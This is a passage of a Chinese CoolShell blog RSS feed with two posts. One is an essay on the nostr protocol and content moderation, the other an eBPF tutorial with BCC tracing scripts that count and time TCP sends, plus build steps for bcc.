<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>网络安全 | 酷 壳 - CoolShell</title>
	<atom:link href="https://coolshell.cn/category/netsecurity/feed" rel="self" type="application/rss+xml" />
	<link>https://coolshell.cn</link>
	<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>
	<lastBuildDate>Sun, 05 Feb 2023 04:10:43 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2</generator>
	<item>
		<title>聊聊 nostr 和 审查</title>
		<link>https://coolshell.cn/articles/22367.html</link>
					<comments>https://coolshell.cn/articles/22367.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Fri, 03 Feb 2023 07:46:13 +0000</pubDate>
				<category><![CDATA[业界新闻]]></category>
		<category><![CDATA[系统架构]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[censorship]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[nostr]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[Twitter]]></category>
		<guid isPermaLink="false">https://coolshell.cn/?p=22367</guid>

					<description><![CDATA[<p>这两天在网络上又有一个东西火了，Twitter 的创始人 @jack 新的社交 iOS App  Damus 上苹果商店（第二天就因为违反中国法律在中国区下架了...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/22367.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/22367.html">聊聊 nostr 和 审查</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright size-medium wp-image-22368" src="https://coolshell.cn/wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-300x150.png" alt="" width="300" height="150" srcset="https://coolshell.cn/wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-300x150.png 300w, https://coolshell.cn/wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-1024x512.png 1024w, https://coolshell.cn/wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-768x384.png 768w, https://coolshell.cn/wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-540x270.png 540w, https://coolshell.cn/wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1.png 1140w" sizes="(max-width: 300px) 100vw, 300px" />这两天在网络上又有一个东西火了，Twitter 的创始人 <a href="https://twitter.com/jack">@jack</a> 新的社交 iOS App  <a href="https://apps.apple.com/ca/app/damus/id1628663131" target="_blank" rel="noopener">Damus</a> 上苹果商店（第二天就因为违反中国法律在中国区下架了），这个软件是一个去中心化的 Twitter，使用到的是 nostr &#8211; Notes and Other Stuff Transmitted by Relays 的协议（<a href="https://github.com/nostr-protocol/nostr" target="_blank" rel="noopener">协议简介</a>，<a href="https://github.com/nostr-protocol/nips" target="_blank" rel="noopener">协议细节</a>），协议简介中有很大的篇幅是在批评Twitter和其相类似的中心化的产品，如：<a href="https://mastodon.social/" target="_blank" rel="noopener">Mastodon</a> 和 <a href="https://scuttlebutt.nz/" target="_blank" rel="noopener">Secure Scuttlebutt</a> 。我顺着去看了一下这个协议，发现这个协议真是非常的简单，简单到几句话就可以讲清楚了。</p>
<h4>通讯过程</h4>
<ul>
<li>这个协议中有两个东西，一个是 client，一个是 relay，client 就是用户社交的客户端，relay 就是转发服务器。</li>
<li>用户不需要注册，用户只需要有一个密钥对（公钥+私钥）就好了，然后把要发的信息做签名，发给一组 relays</li>
<li>然后你的 Follower 就可以从这些 relays 上订阅到你的信息。</li>
</ul>
<p><span id="more-22367"></span></p>
<h4>技术细节摘要</h4>
<ul>
<li>技术实现上，nostr 使用 websocket + JSON 的方式。其中主要是下面这么几个指令
<ul>
<li>Client 到 Relay主要是下面这几个指令：
<ul>
<li><code>EVENT</code>。发出事件，可以扩展出很多很多的动作来，比如：发信息，删信息，迁移信息，建 Channel ……扩展性很好。</li>
<li><code>REQ</code>。用于请求事件和订阅更新。收到<code>REQ</code>消息后，relay 会查询其内部数据库并返回与过滤器匹配的事件，然后存储该过滤器，并将其接收的所有未来事件再次发送到同一websocket，直到websocket关闭。</li>
<li><code>CLOSE</code>。用于停止被 <code>REQ</code> 请求的订阅。</li>
</ul>
</li>
<li>Relay 到 Client 主要是下面几个指令：
<ul>
<li><code>EVENT</code>。用于发送客户端请求的事件。</li>
<li><code>NOTICE</code>。用于向客户端发送人类可读的错误消息或其他信息</li>
</ul>
</li>
</ul>
</li>
<li>关于 <code>EVENT</code> 下面是几个常用的基本事件：
<ul>
<li><code>0</code>: <code>set_metadata</code>：比如，用户名，用户头像，用户简介等这样的信息。</li>
<li><code>1</code>: <code>text_note</code>：用户要发的信息内容</li>
<li><code>2</code>： <code>recommend_server</code>：用户想要推荐给关注者的Relay的URL（例如<code>wss://somerelay.com</code>）</li>
</ul>
</li>
</ul>
<h4>如何对抗网络审查</h4>
<p>那么，这个协议是如何对抗网络审查的？</p>
<ul>
<li>识别你的身份是通过你的签名，所以，只要你的私钥还在，你是不会被删号的</li>
<li>任何人都可以运行一个或多个relay，所以，就很难有人控制所有的relay</li>
<li>你还可以很方便的告诉其中的 relay 把你发的信息迁到另一个 relay 上</li>
<li>你的信息是一次发给多个relay的，所以，只要不是所有的热门realy封了你，你就可以发出信息</li>
<li>每个relay的运营者都可以自己制定规则，会审查哪些类型内容。用户据此选择即可。基本不会有一个全局的规则。</li>
<li>如果你被全部的relay封了，你还是可以自建你的relay，然后，你可以通过各种方式告诉你身边的人你的relay服务器是什么？这样，他们把这个relay服务器加到他们的client列表中，你又可以从社死中复活了。</li>
</ul>
<p>嗯，听起来很简单，整个网络是构建在一种 “社区式”的松散结构，完全可能会出现若干个 relay zone。这种架构就像是互联网的架构，没有中心化，比如 DNS服务器和Email服务器一样，只要你愿意，你完全可以发展出自己圈子里的“私服”。</p>
<p>其实，电子邮件是很难被封禁和审查的。我记得2003年中国非典的时候，我当时在北京，当时的卫生部部长说已经控制住了，才12个人感染，当局也在控制舆论和删除互联网上所有的真实信息。但是，大家都在用电子邮件传播信息，当时基本没有什么社交软件，大家分享信息都是通过邮件，尤其是外企工作的圈子，当时每天都要收很多的非典的群发邮件，大家还都是用公司的邮件服务器发……这种松散的，点对点的架构，让审查是基本不可能的。其实，<strong>我觉得 nostr 就是另外一个变种或是升级版的 email 的形式</strong>。</p>
<h4>如何对抗Spam和骗子</h4>
<p>但是问题来了，如果不能删号封人的话，那么如何对抗那些制造Spam，骗子或是反人类的信息呢？nostr目前的解决方案是通过比特币闪电网络。比如有些客户端实现了如果对方没有follow 你，如果给他发私信，需要支付一点点btc ，或是relay要求你给btc才给你发信息（注：我不认为这是一个好的方法，因为：1）因为少数的坏人让大多数正常人也要跟着付出成本，这是个糟糕的治理方式，2）不鼓励那些生产内容的人，那么平台就没有任何价值了）。</p>
<p>不过，我觉得也有可以有下面的这些思路：</p>
<ul>
<li>用户主动拉黑，但很明显这个效率不高，而且体验不好</li>
<li>社区或是同盟维护一个黑名单，relay定期更新（如同email中防垃圾邮件也是这样搞的），这其实也是审查。</li>
<li>防Spam的算法过滤垃圾信息（如同email中干的），自动化审查。</li>
<li>增加发Spam的成本，如: PoW 工作量证明（比特币的挖矿，最早也是用于Email），发信息要花钱（这个对正常用户伤害太大了）等。</li>
<li>……</li>
</ul>
<p>总之，还是有相应的方法的，但是一定没有完美解，email对抗了这么多年，你还是可以收到大量的垃圾邮件和钓鱼邮件，所以，我觉得 nostr 也不可能做到……</p>
<h4>怎么理解审查</h4>
<p>最后，我们要明白的是，<strong>无论你用什么方法，审查是肯定需要的，所以，我觉得要完全干掉审查，最终的结果就是一个到处都垃圾内容的地方！</strong></p>
<p><strong>我理解的审查不应该是为权力或是个体服务的，而是为大众和人民服务的，所以，审查必然是要有一个开放和共同决策的流程，而不是独断的</strong>。</p>
<p>这点可以参考开源软件基金会的运作模式。</p>
<ul>
<li>最底端的是用户（User）参与开源社区的使用并提供问题和反馈。</li>
<li>用户在使用过程中了解项目情况后贡献代码和文档就可以晋升为贡献者（Contributors），</li>
<li>当贡献者提交一定数量贡献之后就可以晋升为提交者（Committers），此时你将拥有你参与仓库的代码读写权限。</li>
<li>当提交者Committers在社区得到认可后，由项目管理委员会（PMC）选举并产生PMC成员（类似于议员），PMC成员拥有社区相关事务的投票、提名和共同决策权利和义务。</li>
</ul>
<p>注意下面几点</p>
<ul>
<li>整个社区的决策者，是要通过自己贡献来挣到被选举权的。</li>
<li>社区所有的工作和决定都是要公开的。</li>
<li>社区的方向和决策都是要投票的，PMC成员有binding的票权，大众也有non-binding的投票权供参考。</li>
<li><strong>如果出现了价值观的不同，那么，直接分裂社区就好了，不同价值观的人加入到不同的社区就好了</strong>。</li>
</ul>
<p>如果审查是在这个框架下运作的话，虽然不完美，但至少会在一种公允的基础下运作，是透明公开的，也是集体决策的。</p>
<p>开源软件社区是一个很成功的示范，所以，我觉得只有技术而没有一个良性的可持续运作的社区，是不可能解决问题的，<strong>干净整齐的环境是一定要有人打扫和整理的</strong>。</p>
<p>&nbsp;</p>
<figure id="attachment_22371" aria-describedby="caption-attachment-22371" style="width: 300px" class="wp-caption aligncenter"><img decoding="async" loading="lazy" class="wp-image-22371 size-medium" src="https://coolshell.cn/wp-content/uploads/2023/02/IMG_2533-300x289.jpg" alt="欢迎关注我 npub1w6r99545cxea6z76e8nvzjxnymjt4nrsddld33almtm78z7fz95s3c94nu" width="300" height="289" srcset="https://coolshell.cn/wp-content/uploads/2023/02/IMG_2533-300x289.jpg 300w, https://coolshell.cn/wp-content/uploads/2023/02/IMG_2533-1024x987.jpg 1024w, https://coolshell.cn/wp-content/uploads/2023/02/IMG_2533-768x740.jpg 768w, https://coolshell.cn/wp-content/uploads/2023/02/IMG_2533-280x270.jpg 280w, https://coolshell.cn/wp-content/uploads/2023/02/IMG_2533.jpg 1242w" sizes="(max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-22371" class="wp-caption-text">欢迎关注我 npub1w6r99545cxea6z76e8nvzjxnymjt4nrsddld33almtm78z7fz95s3c94nu</figcaption></figure>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" id="wp_rp_first"><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/18654.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png" alt="记一次Kubernetes/Docker网络排障" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18654.html" class="wp_rp_title">记一次Kubernetes/Docker网络排障</a></li><li ><a href="https://coolshell.cn/articles/9859.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2013/06/Alan-Cox-150x150.jpg" alt="Alan Cox：单向链表中prev指针的妙用" width="150" height="150" /></a><a href="https://coolshell.cn/articles/9859.html" class="wp_rp_title">Alan Cox：单向链表中prev指针的妙用</a></li><li ><a href="https://coolshell.cn/articles/5247.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg" alt="国内微博和Twitter的最大不同" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5247.html" class="wp_rp_title">国内微博和Twitter的最大不同</a></li><li ><a href="https://coolshell.cn/articles/25.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg" alt="如何上网觅无踪" width="150" height="150" /></a><a href="https://coolshell.cn/articles/25.html" class="wp_rp_title">如何上网觅无踪</a></li><li ><a href="https://coolshell.cn/articles/7755.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/06/git.log_.01-150x150.png" alt="Git显示漂亮日志的小技巧" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7755.html" class="wp_rp_title">Git显示漂亮日志的小技巧</a></li><li ><a href="https://coolshell.cn/articles/1539.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2009/10/baby_linux-150x150.jpg" alt="用脚本实现哄小孩睡觉" width="150" height="150" /></a><a href="https://coolshell.cn/articles/1539.html" class="wp_rp_title">用脚本实现哄小孩睡觉</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/22367.html">聊聊 nostr 和 审查</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/22367.html/feed</wfw:commentRss>
			<slash:comments>12</slash:comments>
		
		
			</item>
		<item>
		<title>eBPF 介绍</title>
		<link>https://coolshell.cn/articles/22320.html</link>
					<comments>https://coolshell.cn/articles/22320.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Sat, 10 Dec 2022 02:38:51 +0000</pubDate>
				<category><![CDATA[C/C++语言]]></category>
		<category><![CDATA[Unix/Linux]]></category>
		<category><![CDATA[操作系统]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[Debug]]></category>
		<category><![CDATA[eBPF]]></category>
		<category><![CDATA[Linux]]></category>
		<guid isPermaLink="false">https://coolshell.cn/?p=22320</guid>

					<description><![CDATA[<p>很早前就想写一篇关于eBPF的文章，但是迟迟没有动手，这两天有点时间，所以就来写一篇，这文章主要还是简单的介绍eBPF 是用来干什么的，并通过几个示例来介绍是怎...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/22320.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/22320.html">eBPF 介绍</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright wp-image-22329 size-full" src="https://coolshell.cn/wp-content/uploads/2022/12/eBPF.jpeg" alt="" width="301" height="167" />很早前就想写一篇关于eBPF的文章，但是迟迟没有动手，这两天有点时间，所以就来写一篇，这文章主要还是简单的介绍eBPF 是用来干什么的，并通过几个示例来介绍是怎么玩的，这个技术非常非常之强，Linux 操作系统的观测性实在是太强大了，并在 BCC 加持下变得一览无余。这个技术不是一般的运维人员或是系统管理员可以驾驭的，这个还是要有底层系统知识并有一定开发能力的技术人员才能驾驭的了的。<strong>我在这篇文章的最后给了个彩蛋。</strong></p>
<h4>介绍</h4>
<p>eBPF（extened Berkeley Packet Filter）是一种内核技术，它允许开发人员在不修改内核代码的情况下运行特定的功能。eBPF 的概念源自于 Berkeley Packet Filter（BPF），后者是由贝尔实验室开发的一种网络过滤器，可以捕获和过滤网络数据包。</p>
<p>出于对更好的 Linux 跟踪工具的需求，eBPF 从 <a href="https://illumos.org/books/dtrace/chp-intro.html">dtrace</a>中汲取灵感，dtrace 是一种主要用于 Solaris 和 BSD 操作系统的动态跟踪工具。与 dtrace 不同，Linux 无法全面了解正在运行的系统，因为它仅限于系统调用、库调用和函数的特定框架。<a href="https://www.kernel.org/doc/html/latest/bpf/index.html">在Berkeley Packet Filter</a>  (BPF)（一种使用内核 VM 编写打包过滤代码的工具）的基础上，一小群工程师开始扩展 BPF 后端以提供与 dtrace 类似的功能集。 eBPF 诞生了。<strong>2014 年随 Linux 3.18 首次限量发布，充分利用 eBPF 至少需要 Linux 4.4 以上版本</strong>。</p>
<p><span id="more-22320"></span></p>
<p>eBPF 比起传统的 BPF 来说，传统的 BPF 只能用于网络过滤，而 eBPF 则可以用于更多的应用场景，包括网络监控、安全过滤和性能分析等。另外，eBPF 允许常规用户空间应用程序将要在 Linux 内核中执行的逻辑打包为字节码，当某些事件（称为挂钩）发生时，内核会调用 eBPF 程序。此类挂钩的示例包括系统调用、网络事件等。用于编写和调试 eBPF 程序的最流行的工具链称为 <a href="https://github.com/iovisor/bcc">BPF 编译器集合</a> (BCC)，它基于 LLVM 和 CLang。</p>
<p>eBPF 有一些类似的工具。例如，SystemTap 是一种开源工具，可以帮助用户收集 Linux 内核的运行时数据。它通过动态加载内核模块来实现这一功能，类似于 eBPF。另外，DTrace 是一种动态跟踪和分析工具，可以用于收集系统的运行时数据，类似于 eBPF 和 SystemTap。<code>[1]</code></p>
<p>以下是一个简单的比较表格，可以帮助您更好地了解 eBPF、SystemTap 和 DTrace 这三种工具的不同之处：<code>[1]</code></p>
<table>
<thead>
<tr>
<th>工具</th>
<th>eBPF</th>
<th>SystemTap</th>
<th>DTrace</th>
</tr>
</thead>
<tbody>
<tr>
<td>定位</td>
<td>内核技术，可用于多种应用场景</td>
<td>内核模块</td>
<td>动态跟踪和分析工具</td>
</tr>
<tr>
<td>工作原理</td>
<td>动态加载和执行无损编译过的代码</td>
<td>动态加载内核模块</td>
<td>动态插接分析器，通过 probe 获取数据并进行分析</td>
</tr>
<tr>
<td>常见用途</td>
<td>网络监控、安全过滤、性能分析等</td>
<td>系统性能分析、故障诊断等</td>
<td>系统性能分析、故障诊断等</td>
</tr>
<tr>
<td>优点</td>
<td>灵活、安全、可用于多种应用场景</td>
<td>功能强大、可视化界面</td>
<td>功能强大、高性能、支持多种编程语言</td>
</tr>
<tr>
<td>缺点</td>
<td>学习曲线高，安全性依赖于编译器的正确性</td>
<td>学习曲线高，安全性依赖于内核模块的正确性</td>
<td>配置复杂，对系统性能影响较大</td>
</tr>
</tbody>
</table>
<p style="text-align: center;">对比表格<code>[1]</code></p>
<p>从上表可以看出，eBPF、SystemTap 和 DTrace 都是非常强大的工具，可以用于收集和分析系统的运行情况。<code>[1]</code></p>
<h4>用途</h4>
<p>eBPF 是一种非常灵活和强大的内核技术，可以用于多种应用场景。下面是 eBPF 的一些常见用途：<code>[1]</code></p>
<ul>
<li>网络监控：eBPF 可以用于捕获网络数据包，并执行特定的逻辑来分析网络流量。例如，可以使用 eBPF 程序来监控网络流量，并在发现异常流量时进行警报。<code>[1]</code></li>
<li>安全过滤：eBPF 可以用于对网络数据包进行安全过滤。例如，可以使用 eBPF 程序来阻止恶意流量的传播，或者在发现恶意流量时对其进行拦截。<code>[1]</code></li>
<li>性能分析：eBPF 可以用于对内核的性能进行分析。例如，可以使用 eBPF 程序来收集内核的性能指标，并通过特定的接口将其可视化。这样，可以更好地了解内核的性能瓶颈，并进行优化。<code>[1]</code></li>
<li>虚拟化：eBPF 可以用于虚拟化技术。例如，可以使用 eBPF 程序来收集虚拟机的性能指标，并进行负载均衡。这样，可以更好地利用虚拟化环境的资源，提高系统的性能和稳定性。<code>[1]</code></li>
</ul>
<p>总之，eBPF 的常见用途非常广泛，可以用于网络监控、安全过滤、性能分析和虚拟化等多种应用场景。<code>[1]</code></p>
<h4>工作原理</h4>
<p>eBPF 的工作原理主要分为三个步骤：加载、编译和执行。</p>
<p>eBPF 需要在内核中运行。这通常是由用户态的应用程序完成的，它会通过系统调用来加载 eBPF 程序。在加载过程中，内核会将 eBPF 程序的代码复制到内核空间。</p>
<p>eBPF 程序需要经过编译和执行。这通常是由Clang/LLVM的编译器完成，然后形成字节码后，将用户态的字节码装载进内核，Verifier会对要注入内核的程序进行一些内核安全机制的检查,这是为了确保 eBPF 程序不会破坏内核的稳定性和安全性。在检查过程中，内核会对 eBPF 程序的代码进行分析，以确保它不会进行恶意操作，如系统调用、内存访问等。如果 eBPF 程序通过了内核安全机制的检查，它就可以在内核中正常运行了，其会通过通过一个JIT编译步骤将程序的通用字节码转换为机器特定指令集，以优化程序的执行速度。</p>
<p>下图是其架构图。</p>
<p><img decoding="async" class="aligncenter" src="https://imgopt.infoq.com/fit-in/1200x2400/filters:quality(80)/filters:no_upscale()/articles/gentle-linux-ebpf-introduction/en/resources/47image005-1619704397592.jpg" /></p>
<p style="text-align: center;">（图片来自：<a href="https://www.infoq.com/articles/gentle-linux-ebpf-introduction/" target="_blank" rel="noopener">https://www.infoq.com/articles/gentle-linux-ebpf-introduction/</a>）</p>
<p>在内核中运行时，eBPF 程序通常会挂载到一个内核钩子（hook）上，以便在特定的事件发生时被执行。例如，</p>
<ul>
<li><span>系统调用——当用户空间函数将执行转移到内核时插入</span></li>
<li><span>函数进入和退出——拦截对预先存在的函数的调用</span></li>
<li><span>网络事件 &#8211; 在收到数据包时执行</span></li>
<li><span>Kprobes 和 uprobes &#8211; 附加到内核或用户函数的探测器</span></li>
</ul>
<p>最后 eBPF Maps，允许eBPF程序在调用之间保持状态，以便进行相关的数据统计，并与用户空间的应用程序共享数据。一个eBPF映射基本上是一个键值存储，其中的值通常被视为任意数据的二进制块。它们是通过带有BPF_MAP_CREATE参数的<code>bpf_cmd</code>系统调用来创建的，和Linux世界中的其他东西一样，它们是通过文件描述符来寻址。与地图的交互是通过查找/更新/删除系统调用进行的</p>
<p>总之，eBPF 的工作原理是通过动态加载、执行和检查<strong>无损编译</strong>过的代码来实现的。<code>[1]</code></p>
<h4>示例</h4>
<p>eBPF 可以用于对内核的性能进行分析。下面是一个基于 eBPF 的性能分析的 step-by-step 示例：</p>
<p>第一步：准备工作：首先，需要确保内核已经支持 eBPF 功能。这通常需要在内核配置文件中启用 eBPF 相关的选项，并重新编译内核。检查是否支持 eBPF，你可以用这两个命令查看 <code>ls /sys/fs/bpf</code> 和 <code>lsmod | grep bpf</code></p>
<p>第二步：写 eBPF 程序：接下来，需要编写 eBPF 程序，用于收集内核的性能指标。eBPF 程序的语言可以选择 C 或者 Python，它需要通过特定的接口访问内核的数据结构，并将收集到的数据保存到指定的位置。</p>
<p>下面是一个Python 示例（其实还是C语言，用python来加载一段C程序到Linux内核）</p>
<pre class="EnlighterJSRAW" data-enlighter-language="python">#!/usr/bin/python3

from bcc import BPF
from time import sleep

# 定义 eBPF 程序
bpf_text = """
#include &lt;uapi/linux/ptrace.h&gt;

BPF_HASH(stats, u32);

int count(struct pt_regs *ctx) {
    u32 key = 0;
    u64 *val, zero=0;
    val = stats.lookup_or_init(&amp;key, &amp;zero);
    (*val)++;
    return 0;
}
"""

# 编译 eBPF 程序
b = BPF(text=bpf_text, cflags=["-Wno-macro-redefined"])

# 加载 eBPF 程序
b.attach_kprobe(event="tcp_sendmsg", fn_name="count")

name = {
  0: "tcp_sendmsg"
}
# 输出统计结果
while True:
    try:
        #print("Total packets: %d" % b["stats"][0].value)
        for k, v in b["stats"].items():
           print("{}: {}".format(name[k.value], v.value))
        sleep(1)
    except KeyboardInterrupt:
        exit()</pre>
<p>这个 eBPF 程序的功能是统计网络中传输的数据包数量。它通过定义一个 <code>BPF_HASH</code> 数据结构来保存统计结果（eBPF Maps），并通过捕获 <code>tcp_sendmsg</code> 事件来实现实时统计。最后，它通过每秒输出一次统计结果来展示数据。这个 eBPF 程序只是一个简单的示例，实际应用中可能需要进行更复杂的统计和分析。</p>
<p>第三步：运行 eBPF 程序：接下来，需要使用 eBPF 编译器将 eBPF 程序编译成内核可执行的格式（这个在上面的Python程序里你可以看到——Python引入了一个bcc的包，然后用这个包，把那段 C语言的程序编译成字节码加载在内核中并把某个函数 attach 到某个事件上）。这个过程可以使用 BPF Compiler Collection（BCC）工具来完成。BCC 工具可以通过命令行的方式将 eBPF 程序编译成内核可执行的格式，并将其加载到内核中。</p>
<p>下面是运行上面的 Python3 程序的步骤：</p>
<pre class="EnlighterJSRAW" data-enlighter-language="shell">sudo apt install python3-bpfcc</pre>
<p>注：在Python3下请不要使用 <code>pip3 install bcc</code> （参看：<a href="https://github.com/iovisor/bcc/issues/2278#issuecomment-825356087" target="_blank" rel="noopener">这里</a>）</p>
<p>如果你是 Ubuntu 20.10 以上的版本，最好通过源码安装（否则程序会有编译问题），参看：<a href="https://github.com/iovisor/bcc/issues/3993#issuecomment-1228217609" target="_blank" rel="noopener">这里</a>：</p>
<pre class="EnlighterJSRAW" data-enlighter-language="bash">apt purge bpfcc-tools libbpfcc python3-bpfcc
wget https://github.com/iovisor/bcc/releases/download/v0.25.0/bcc-src-with-submodule.tar.gz
tar xf bcc-src-with-submodule.tar.gz
cd bcc/
apt install -y python-is-python3
apt install -y bison build-essential cmake flex git libedit-dev   libllvm11 llvm-11-dev libclang-11-dev zlib1g-dev libelf-dev libfl-dev python3-distutils
apt install -y checkinstall
mkdir build
cd build/
cmake -DCMAKE_INSTALL_PREFIX=/usr -DPYTHON_CMD=python3 ..
make
checkinstall</pre>
<p>接下来，需要将上面的 Python 程序保存到本地，例如保存到文件 netstat.py。运行程序：最后，可以通过执行以下命令来运行 Python 程序：</p>
<pre class="EnlighterJSRAW" data-enlighter-language="shell">$ chmod +x ./netstat.py
$ sudo ./netstat.py
tcp_sendmsg: 29
tcp_sendmsg: 216
tcp_sendmsg: 277
tcp_sendmsg: 379
tcp_sendmsg: 419
tcp_sendmsg: 468
tcp_sendmsg: 574
tcp_sendmsg: 645
tcp_sendmsg: 29
</pre>
<p>程序开始运行后，会在控制台输出网络数据包的统计信息。可以通过按 Ctrl+C 组合键来结束程序的运行。</p>
<p>下面我们再看一个比较复杂的示例，这个示例会计算TCP的发包时间（示例参考于Github上 <a href="https://github.com/iovisor/bcc/issues/2972" target="_blank" rel="noopener">这个issue</a>里的程序）：</p>
<pre class="EnlighterJSRAW" data-enlighter-language="python">#!/usr/bin/python3

from bcc import BPF
import time

# 定义 eBPF 程序
bpf_text = """
#include &lt;uapi/linux/ptrace.h&gt;
#include &lt;net/sock.h&gt;
#include &lt;net/inet_sock.h&gt;
#include &lt;bcc/proto.h&gt;

struct packet_t {
    u64 ts, size;
    u32 pid;
    u32 saddr, daddr;
    u16 sport, dport;
};

BPF_HASH(packets, u64, struct packet_t);

int on_send(struct pt_regs *ctx, struct sock *sk, struct msghdr *msg, size_t size)
{
    u64 id = bpf_get_current_pid_tgid();
    u32 pid = id;

    // 记录数据包的时间戳和信息
    struct packet_t pkt = {}; // 结构体一定要初始化，可以使用下面的方法
                              //__builtin_memset(&amp;pkt, 0, sizeof(pkt)); 
    pkt.ts = bpf_ktime_get_ns();
    pkt.size = size;
    pkt.pid = pid;
    pkt.saddr = sk-&gt;__sk_common.skc_rcv_saddr;
    pkt.daddr = sk-&gt;__sk_common.skc_daddr;
    struct inet_sock *sockp = (struct inet_sock *)sk;
    pkt.sport = sockp-&gt;inet_sport;
    pkt.dport = sk-&gt;__sk_common.skc_dport;

    packets.update(&amp;id, &amp;pkt);
    return 0;
}

int on_recv(struct pt_regs *ctx, struct sock *sk)
{
    u64 id = bpf_get_current_pid_tgid();
    u32 pid = id;

    // 获取数据包的时间戳和编号
    struct packet_t *pkt = packets.lookup(&amp;id);
    if (!pkt) {
        return 0;
    }

    // 计算传输时间
    u64 delta = bpf_ktime_get_ns() - pkt-&gt;ts;

    // 统计结果
    bpf_trace_printk("tcp_time: %llu.%llums, size: %llu\\n", 
       delta/1000, delta%1000%100, pkt-&gt;size);

    // 删除统计结果
    packets.delete(&amp;id);

    return 0;
}
"""

# 编译 eBPF 程序
b = BPF(text=bpf_text, cflags=["-Wno-macro-redefined"])

# 注册 eBPF 程序
b.attach_kprobe(event="tcp_sendmsg", fn_name="on_send")
b.attach_kprobe(event="tcp_v4_do_rcv", fn_name="on_recv")

# 输出统计信息
print("Tracing TCP latency... Hit Ctrl-C to end.")
while True:
    try:
        (task, pid, cpu, flags, ts, msg) = b.trace_fields()
        print("%-18.9f %-16s %-6d %s" % (ts, task, pid, msg))
    except KeyboardInterrupt:
        exit()</pre>
<p>上面这个程序通过捕获每个数据包的时间戳来统计传输时间。在捕获 <code>tcp_sendmsg</code> 事件时，记录数据包的发送时间；在捕获 <code>tcp_v4_do_rcv</code> 事件时，记录数据包的接收时间；最后，通过比较两个时间戳来计算传输时间。</p>
<p>从上面的两个程序我们可以看到，eBPF 的一个编程的基本方法，这样的在Python里向内核的某些事件挂载一段 &#8220;C语言” 的方式就是 eBPF 的编程方式。实话实说，这样的代码很不好写，而且有很多非常诡异的东西，一般人是很难驾驭的（上面的代码我也不是很容易都能写通的，把 Google 都用了个底儿掉，读了很多晦涩的文档……）好在这样的代码已经有人写了，我们不必再写了，在 <a href="https://github.com/iovisor/bcc/tree/master/tools" target="_blank" rel="noopener">Github 上的 bcc 库下的 tools 目录</a>有很多……</p>
<p>BCC（<a href="https://github.com/iovisor/bcc" target="_blank" rel="noopener">BPF Compiler Collection</a>）是一套开源的工具集，可以在 Linux 系统中使用 BPF（Berkeley Packet Filter）程序进行系统级性能分析和监测。BCC 包含了许多实用工具，如：</p>
<ol>
